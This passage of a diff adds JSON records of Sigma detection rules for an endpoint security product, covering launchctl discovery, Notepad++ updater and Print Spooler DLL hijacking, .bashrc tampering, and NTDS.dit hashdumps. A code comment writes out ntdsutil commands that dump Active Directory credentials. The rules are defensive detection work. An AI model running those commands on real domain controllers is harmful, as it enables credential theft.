+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617947Z",
+  "creation_date": "2026-03-23T11:45:34.617949Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617953Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1007/",
+    "https://attack.mitre.org/techniques/T1569/001/"
+  ],
+  "name": "t1007_launchctl_list.yml",
+  "content": "title: System Services Discovered via Launchctl\nid: a41b4e95-63d6-4018-bcbe-eb7cd37af7d5\ndescription: |\n    Detects the usage of launchctl to list the installed launch daemons/agents.\n    An attacker could list the installed launch daemons/agents to look for vulnerable daemons, or list defensive tools installed on the infected host.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1007/\n    - https://attack.mitre.org/techniques/T1569/001/\ndate: 2022/11/09\nmodified: 2025/10/13\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1007\n    - attack.t1569.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Launchctl\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/bin/launchctl'\n        CommandLine:\n            - 'launchctl list'\n            - '/bin/launchctl list'\n        # Filter-out missing parents\n        ParentImage|contains: '?'\n        GrandparentImage|contains: '?'\n\n    exclusion_parentimage:\n        ParentImage:\n            - '/usr/bin/sysdiagnose'\n            - '/usr/libexec/sysdiagnosed'\n            - '/usr/local/bin/ctrld'\n            - '/Applications/*.app/Contents/*'\n            - '/Applications/GLPI-Agent/bin/perl'\n            - '/Applications/NinjaRMMAgent/programfiles/ninjarmm-macagent'\n            - '/Applications/NinjaRemote/ncstreamer.app/Contents/MacOS/ncstreamer'\n            - '/Library/Application Support/*'\n            - '/Library/Bitdefender/AVP/product/bin/BDUpgDaemon'\n            - '/Library/WithSecure/bin/wsswupd.xpc/Contents/MacOS/wsswupd'\n            - '/Users/*/Visual Studio Code.app/Contents/Resources/app/bin/code-tunnel'\n            - '/Users/*/Applications/zoom.us.app/Contents/Library/LaunchAgents/ZoomUpdater.app/Contents/MacOS/ZoomUpdater'\n            - '/private/var/folders/*/Visual Studio Code*.app/Contents/Resources/app/bin/code-tunnel'\n            - '/opt/fusioninventory-agent/bin/perl'\n            - '/opt/homebrew/Library/Homebrew/vendor/portable-ruby/*/bin/ruby'\n            - '/usr/local/Homebrew/Library/Homebrew/vendor/portable-ruby/*/bin/ruby'\n            - '/usr/local/munki/Python.framework/Versions/*/Resources/Python.app/Contents/MacOS/Python'\n\n    exclusion_grandparentimage:\n        GrandparentImage:\n            - '/Applications/*.app/Contents/*'\n            - '/Applications/GLPI-Agent/bin/perl'\n            - '/Applications/NinjaRMMAgent/programfiles/ninjarmm-macagent'\n            - '/Applications/Utilities/Adobe Creative Cloud/Utils/AdobeGenuineValidator'\n            - '/Applications/GLPI-Agent/bin/perl /Applications/GLPI-Agent/bin/glpi-agent'\n            - '/Library/Application Support/*'\n            - '/Library/ManageEngine/UEMS_Agent/bin/dcpatchscan'\n            - '/opt/homebrew/Library/Homebrew/vendor/portable-ruby/*/bin/ruby'\n            - '/usr/local/Homebrew/Library/Homebrew/vendor/portable-ruby/*/bin/ruby'\n            - '/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/XPCServices/package_script_service.xpc/Contents/MacOS/package_script_service'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '|/Applications/*.app/Contents/'\n            - '|/Applications/Utilities/Adobe Creative Cloud/Utils/AdobeGenuineValidator|'\n\n    exclusion_installer:\n        GrandparentCommandLine|startswith:\n            - '/bin/bash /tmp/PKInstallSandbox'\n            - '/bin/bash /Library/InstallerSandboxes/'\n            - '/bin/sh /tmp/PKInstallSandbox.??????/Scripts/'\n            - '/bin/zsh /tmp/PKInstallSandbox.??????/Scripts/'\n            - '/bin/bash -x /tmp/PKInstallSandbox.??????/Scripts/'\n\n    exclusion_logi:\n        CommandLine|startswith: '/bin/launchctl list com.logi.optionsplus.updater'\n\n    exclusion_avast:\n        CommandLine: '/bin/launchctl list com.avast.service'\n        GrandparentCommandLine: '/bin/bash /Applications/Avast.app/Contents/Backend/scripts/update/update.sh'\n\n    exclusion_globalprotect:\n        GrandparentCommandLine:\n            - 'sh -c sudo /bin/launchctl list | /usr/bin/grep palo | /usr/bin/grep -v grep >> /Library/Logs/PaloAltoNetworks/GlobalProtect/sysext.service.log'\n            - 'sh -c sudo /bin/launchctl list | /usr/bin/grep NetworkExtension.com.paloaltonetworks.GlobalProtect.client.extension > /dev/null 2>&1'\n\n    exclusion_wazuh:\n        Ancestors|contains: '/Library/Ossec/bin/wazuh-syscheckd'\n\n    exclusion_amazon:\n        ParentCommandLine: '/bin/bash /usr/local/libexec/amazon-ena-ethernet'\n\n    exclusion_ardagent:\n        ProcessGrandparentCommandLine|contains: '/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart'\n\n    exclusion_jamf:\n        - ProcessAncestors|contains: '/usr/local/jamf/bin/jamf'\n        - ProcessParentCommandLine|contains: '/Library/Application Support/JAMF/tmp/'\n\n    exclusion_sekoia:\n        ProcessParentImage: '/sbin/launchd'\n        ProcessCommandLine: 'launchctl list SEKOIAEndpointAgentWatchdog'\n\n    exclusion_mcafee:\n        ProcessCommandLine: 'sh -c launchctl list | grep com.mcafee.virusscan.fmpcd'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a41b4e95-63d6-4018-bcbe-eb7cd37af7d5",
+  "rule_name": "System Services Discovered via Launchctl",
+  "rule_description": "Detects the usage of launchctl to list the installed launch daemons/agents.\nAn attacker could list the installed launch daemons/agents to look for vulnerable daemons, or list defensive tools installed on the infected host.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-11-09",
+  "rule_modified_date": "2025-10-13",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1007",
+    "attack.t1569.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a431b083-8f5e-44d4-96c1-a3f0fe917ce6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096688Z",
+  "creation_date": "2026-03-23T11:45:34.096690Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096695Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/T1574.002.md",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_gup.yml",
+  "content": "title: DLL Hijacking via GUP.exe\nid: a431b083-8f5e-44d4-96c1-a3f0fe917ce6\ndescription: |\n    Detects potential Windows DLL Hijacking via GUP.exe (Notepad++ updater).\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/T1574.002.md\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/12/22\nmodified: 2025/08/25\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'gup.exe'\n        ProcessSignature: 'Notepad++'\n        ImageLoaded|endswith: '\\libcurl.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Notepad++\\updater\\'\n            - '?:\\Program Files\\Notepad++\\updater\\'\n            - '*\\AppData\\Local\\Notepad++\\updater\\'\n            - '*\\AppData\\Roaming\\Notepad++\\updater\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files (x86)\\Notepad++\\updater\\'\n            - '?:\\Program Files\\Notepad++\\updater\\'\n            - '*\\AppData\\Local\\Notepad++\\updater\\'\n            - '*\\AppData\\Roaming\\Notepad++\\updater\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n            - 'Notepad++'\n\n    exclusion_not_signed:\n        sha256:\n            - '9aa9fb6fa9414ab45bb0d4f1b1be2f401f0d0febcae434f99f8aa6febdd5a53e'\n            - 'd9dea11f8e63fabdd33c3935fd0ab5440c066591f34e4c1b334a94f5cd47794b'\n            - '5d6104def81177cad393733cd51738855ec492a8c809ca82140f262cb5376e19'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a431b083-8f5e-44d4-96c1-a3f0fe917ce6",
+  "rule_name": "DLL Hijacking via GUP.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via GUP.exe (Notepad++ updater).\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-12-22",
+  "rule_modified_date": "2025-08-25",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a478cd0a-d389-4c46-ab37-3ae588517a6a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075666Z",
+  "creation_date": "2026-03-23T11:45:34.075668Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075672Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/sandman-apt-a-mystery-group-targeting-telcos-with-a-luajit-toolkit/",
+    "https://attack.mitre.org/techniques/T1574/001/",
+    "https://attack.mitre.org/techniques/T1574/002/"
+  ],
+  "name": "t1574_001_persistence_dll_hijack_spooler_ualapi.yml",
+  "content": "title: Print Spooler Service DLL Hijack Detected\nid: a478cd0a-d389-4c46-ab37-3ae588517a6a\ndescription: |\n    Detects the execution of a DLL hijack of the Windows Print Spooler service trying to load the non-existent ualapi.dll DLL from system32 directory.\n    Attackers may install a malicious DLL in the Windows folder for persistence purposes.\n    It is recommended to verify the legitimacy of the loaded DLL and to look for other suspicious behavior.\nreferences:\n    - https://www.sentinelone.com/labs/sandman-apt-a-mystery-group-targeting-telcos-with-a-luajit-toolkit/\n    - https://attack.mitre.org/techniques/T1574/001/\n    - https://attack.mitre.org/techniques/T1574/002/\ndate: 2023/09/22\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.defense_evasion\n    - attack.t1574.001\n    - attack.t1574.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.DLLHijacking\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded|endswith: '\\ualapi.dll'\n        Image|endswith: '\\spoolsv.exe'\n\n    exclusion_signed:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a478cd0a-d389-4c46-ab37-3ae588517a6a",
+  "rule_name": "Print Spooler Service DLL Hijack Detected",
+  "rule_description": "Detects the execution of a DLL hijack of the Windows Print Spooler service trying to load the non-existent ualapi.dll DLL from system32 directory.\nAttackers may install a malicious DLL in the Windows folder for persistence purposes.\nIt is recommended to verify the legitimacy of the loaded DLL and to look for other suspicious behavior.\n",
+  "rule_creation_date": "2023-09-22",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001",
+    "attack.t1574.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a479f46f-ac6c-4a4e-ae31-8fcb6a1eb4ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 1,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.635247Z",
+  "creation_date": "2026-03-23T11:45:34.596641Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.596648Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat",
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.004/T1546.004.md#atomic-test-2---add-command-to-bashrc",
+    "https://attack.mitre.org/techniques/T1546/004/"
+  ],
+  "name": "t1546_004_bashrc_modified_linux.yml",
+  "content": "title: Suspicious Modification of .bashrc\nid: a479f46f-ac6c-4a4e-ae31-8fcb6a1eb4ea\ndescription: |\n    Detects an attempt to modify the .bashrc file, a script file executed when a user logs in.\n    Adversaries can use this file to perform various malicious tasks like establish persistence or disable the shell history file.\n    It is recommended to investigate the new content of the .bashrc file as well as the execution context to determine the legitimacy of this action.\nreferences:\n    - https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.004/T1546.004.md#atomic-test-2---add-command-to-bashrc\n    - https://attack.mitre.org/techniques/T1546/004/\ndate: 2023/01/03\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1546.004\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.ConfigChange\n    - classification.Linux.Behavior.Persistence\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection_write:\n        Kind: 'access'\n        Permissions: 'write'\n        Path:\n            - '/root/.bashrc'\n            - '/home/*/.bashrc'\n            - '/etc/bash.bashrc'\n\n    selection_misc:\n        Kind:\n            - 'rename'\n            - 'symlink'\n            - 'hardlink'\n        TargetPath:\n            - '/root/.bashrc'\n            - '/home/*/.bashrc'\n            - '/etc/bash.bashrc'\n\n    exclusion_image:\n        ProcessImage:\n            - '/usr/sbin/userdel'\n            - '/usr/sbin/mkhomedir_helper'\n            - '/usr/libexec/oddjob/mkhomedir'\n            - '/usr/bin/podman'\n            - '/opt/yocto/*'\n            - '/kaniko/executor'\n            - '/bin/sed'\n            - '/usr/bin/sed'\n            - '/usr/sbin/luseradd'\n            - '/usr/bin/tar'\n            - '/usr/bin/install'\n            - '/usr/bin/dpkg'\n            - '/usr/bin/rsync'\n\n    exclusion_ancestors:\n        ProcessAncestors|contains:\n            - '|/usr/sbin/cron|'\n            - '|/usr/sbin/crond|'\n            - '|/opt/bladelogic/*/NSH/sbin/bldeploy|'\n\n    exclusion_useradd:\n        - ProcessImage: '/usr/sbin/useradd'\n        - ProcessCommandLine: '/usr/bin/perl /usr/sbin/adduser *'\n\n    exclusion_docker:\n        - ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/local/bin/dockerd'\n            - '/usr/bin/dockerd-ce'\n            - '/usr/sbin/dockerd-ce'\n            - '/snap/docker/*/bin/dockerd'\n        - ProcessAncestors|contains:\n            - '|/usr/bin/dockerd|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n\n    exclusion_containerd:\n        - ProcessImage:\n            - '/usr/bin/containerd'\n            - '/usr/sbin/containerd'\n        - ProcessGrandparentImage:\n            - '/usr/bin/containerd-shim-runc-v2'\n            - '/snap/docker/*/bin/containerd-shim-runc-v2'\n\n    exclusion_rootlesskit:\n        # /home/<redacted>/bin/rootlesskit --state-dir=/run/user/1022/dockerd-rootless --net=slirp4netns --mtu=65520 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run --propagation=rslave /home/<redacted>/bin/dockerd-rootless.sh\n        - ProcessImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n        - ProcessParentImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n\n    exclusion_k3s:\n        ProcessImage: '/bin/containerd'\n        ProcessParentCommandLine: '/bin/k3s server'\n\n    exclusion_buildah:\n        ProcessCommandLine|startswith: 'storage-untar / /'\n\n    exclusion_yum:\n        ProcessCommandLine: '/usr/bin/python /usr/bin/yum -y update'\n\n    exclusion_puppet:\n        - ProcessParentImage: '/opt/puppetlabs/puppet/bin/ruby'\n        - ProcessGrandparentImage: '/opt/puppetlabs/puppet/bin/ruby'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_ansible_current_directory:\n        ProcessImage:\n            - '/usr/bin/python?.?'\n            - '/usr/libexec/platform-python?.?'\n        ProcessCurrentDirectory: '/root/.ansible/tmp/'\n\n    exclusion_rke2_containerd:\n        ProcessImage: '/var/lib/rancher/rke2/data/*/bin/containerd'\n        ProcessParentImage: '/usr/local/bin/rke2'\n\n    # Not to be confused with Burp Suite\n    # https://burp.grke.org/+\n    exclusion_burp:\n        ProcessImage: '/usr/sbin/burp'\n\n    exclusion_code:\n        ProcessCommandLine: '/usr/share/code/code --unity-launch'\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a479f46f-ac6c-4a4e-ae31-8fcb6a1eb4ea",
+  "rule_name": "Suspicious Modification of .bashrc",
+  "rule_description": "Detects an attempt to modify the .bashrc file, a script file executed when a user logs in.\nAdversaries can use this file to perform various malicious tasks like establish persistence or disable the shell history file.\nIt is recommended to investigate the new content of the .bashrc file as well as the execution context to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2023-01-03",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a4a54343-dc8c-40e5-9a8c-18385699b85c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075359Z",
+  "creation_date": "2026-03-23T11:45:34.075361Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075365Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework/blob/2382d7530cf0cf2aa4ac63be30c98ca3fcdd6bbf/modules/post/windows/gather/credentials/domain_hashdump.rb",
+    "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753343(v=ws.11)"
+  ],
+  "name": "t1003_003_ntdsutil_domain_hashdump.yml",
+  "content": "title: Domain Hashdump Detected\nid: a4a54343-dc8c-40e5-9a8c-18385699b85c\ndescription: |\n    Detects the dumping of the NTDS.dit file on a live Domain Controller to extract all user credentials.\n    Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights.\n    It is recommended to determine if this dump is part of a regular backup mecanism, and if not the case, to immediately take remediative actions to cut the attackers' access to the domain controller.\nreferences:\n    - https://github.com/rapid7/metasploit-framework/blob/2382d7530cf0cf2aa4ac63be30c98ca3fcdd6bbf/modules/post/windows/gather/credentials/domain_hashdump.rb\n    - https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753343(v=ws.11)\ndate: 2020/11/05\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.003\n    - attack.t1078\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Ntdsutil\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # ntdsutil \"ac in ntds\" \"ifm\" \"cr fu C:\\Perflogs\\1\"\n    # ntdsutil \"activate instance ntds\" \"ifm\" \"Create Full C:\\Perflogs\\1\" \"quit quit\"\n    selection_ntdsutil:\n        Image|endswith: '\\ntdsutil.exe'\n\n    selection_ifm:\n        CommandLine:\n            - '*ifm*'\n            - ' *i* '\n\n    selection_activate_instance_ntds:\n        CommandLine|contains:\n            - '*activate *instance *ntds*'\n            - '*ac *i*'\n\n    selection_create_full:\n        CommandLine:\n            - '*Create *Full*'\n            - '*cr *fu*'\n\n    exclusion_isars:\n        CommandLine|re: 'ntdsutil\\.exe activate instance ntds ifm Create Full C:\\\\[a-zA-Z-0-9]{11} quit quit'\n        User|contains: 'isars'\n\n    exclusion_alticap:\n        CommandLine: '?:\\Windows\\system32\\ntdsutil.exe activate instance ntds ifm create full ?:\\ProgramData\\Alticap\\ActiveDirectory\\NTDSbackup\\ADBackupFull#????-??-??T??-??-??.bak quit quit'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a4a54343-dc8c-40e5-9a8c-18385699b85c",
+  "rule_name": "Domain Hashdump Detected",
+  "rule_description": "Detects the dumping of the NTDS.dit file on a live Domain Controller to extract all user credentials.\nAdversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights.\nIt is recommended to determine if this dump is part of a regular backup mecanism, and if not the case, to immediately take remediative actions to cut the attackers' access to the domain controller.\n",
+  "rule_creation_date": "2020-11-05",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.003",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a4aa19f3-3192-47f5-a0f6-5efc28a4fa98",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083858Z",
+  "creation_date": "2026-03-23T11:45:34.083860Z",
+  "enabled": true,
+  "hl_status": "stable",
